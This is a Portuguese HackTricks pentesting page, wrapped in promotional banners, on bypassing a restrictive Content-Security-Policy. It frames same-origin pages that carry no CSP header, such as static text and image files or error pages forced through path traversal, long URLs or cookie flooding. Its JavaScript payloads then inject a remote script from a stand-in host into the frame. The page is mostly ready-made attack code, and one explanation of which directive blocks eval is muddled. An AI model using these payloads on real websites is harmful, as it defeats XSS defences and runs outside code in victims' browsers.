4.7 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Uma configuração como:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Proíbe o uso de quaisquer funções que executem código transmitido como uma string. Por exemplo: eval, setTimeout, setInterval
serão todos bloqueados por causa da configuração unsafe-eval
Qualquer conteúdo de fontes externas também é bloqueado, incluindo imagens, CSS, WebSockets e, especialmente, JS
Via Text & Images
Observa-se que os navegadores modernos convertem imagens e textos em HTML para melhorar sua exibição (por exemplo, definindo backgrounds, centralizando, etc.). Consequentemente, se uma imagem ou arquivo de texto, como favicon.ico
ou robots.txt
, for aberto por meio de um iframe
, ele será renderizado como HTML. Notavelmente, essas páginas frequentemente não possuem cabeçalhos CSP e podem não incluir X-Frame-Options, permitindo a execução de JavaScript arbitrário a partir delas:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Através de Erros
Da mesma forma, respostas de erro, como arquivos de texto ou imagens, geralmente são enviadas sem cabeçalhos CSP e podem omitir X-Frame-Options. Erros podem ser induzidos a carregar dentro de um iframe, permitindo as seguintes ações:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Após acionar qualquer um dos cenários mencionados, a execução de JavaScript dentro do iframe é possível da seguinte forma:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Referências
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.